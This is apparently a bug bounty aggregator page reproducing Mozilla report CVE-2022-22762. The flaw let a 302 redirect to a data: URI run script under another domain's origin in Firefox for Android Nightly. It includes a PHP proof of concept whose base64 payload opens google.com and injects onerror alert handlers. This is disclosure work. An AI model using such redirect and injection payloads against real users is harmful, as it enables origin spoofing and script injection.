Skip to content
XSS Disclosed report Advanced CVE-2022-22762

We can spoof js alert box on an arbitrary domain for Firefox for Android Nightly

A data: URI 302 redirection allows an attacker to run JavaScript in the context of an arbitrary domain on Firefox for Android Nightly. The attacker can then display an alert box that appears to come from that domain.

James Lee Follow

Originally disclosed on Mozilla

  • Fixed in 34 days
  • Paid in 41 days
  • Disclosed after 34 days
Text
Test on: https://pwning.click/data302r.php

After you allow to reload the page, you are able to run alert box on arbitrary domain for Firefox Nightly. This works through data: URI 302 redirection.

<?php header("Location: data:text/html;base64,PHNjcmlwdD5mdW5jdGlvbiB5KCl7eD1vcGVuKCdodHRwczovL3d3dy5nb29nbGUuY29tJywnX3RvcCcpLHguZG9jdW1lbnQudGl0bGU9JycseC5kb2N1bWVudC5ib2R5LmlubmVySFRNTD0nPGltZy9zcmM9IiJvbmVycm9yPSJhbGVydCgmcXVvdDt0aGlzIGlzIGZyb20gZ29vZ2xlJnF1b3Q7KSI+PGltZy9zcmM9IiJvbmVycm9yPSJhbGVydCgmcXVvdDt0aGlzIGlzIGZyb20gZ29vZ2xlJnF1b3Q7KSI+PGltZy9zcmM9IiJvbmVycm9yPSJhbGVydCgmcXVvdDt0aGlzIGlzIGZyb20gZ29vZ2xlJnF1b3Q7KSI+J307c2V0VGltZW91dCh5LCAxMCk7Cjwvc2NyaXB0Pg==
", true, 302); ?>

The original report as published on Mozilla's Bugzilla, by James Lee. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the browser does not properly isolate the origin of a data: URI reached via a 302 redirect, allowing script in the data: page to run with the origin of the redirecting site.

Impact

An attacker could run script in the context of an arbitrary domain and show a spoofed alert box, but this was demonstrated only on Firefox for Android Nightly and required the user to allow a reload.

What the attacker needed

Firefox for Android Nightly; victim visits attacker page; victim allows page reload

How it was found

  1. Visit the test page that performs a 302 redirect to a data: URI.
  2. Allow the page to reload when prompted.
  3. The data: URI page runs script that opens a window to an arbitrary domain and injects an image with an onerror handler that calls alert.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A data: URI is a way to embed a whole web page inside a link. The report says that if a server redirects to such a link, the browser wrongly treats the embedded page as if it belonged to the site that did the redirect. That lets an attacker show a fake message that looks like it comes from a real site.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by James Lee

View all

30 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.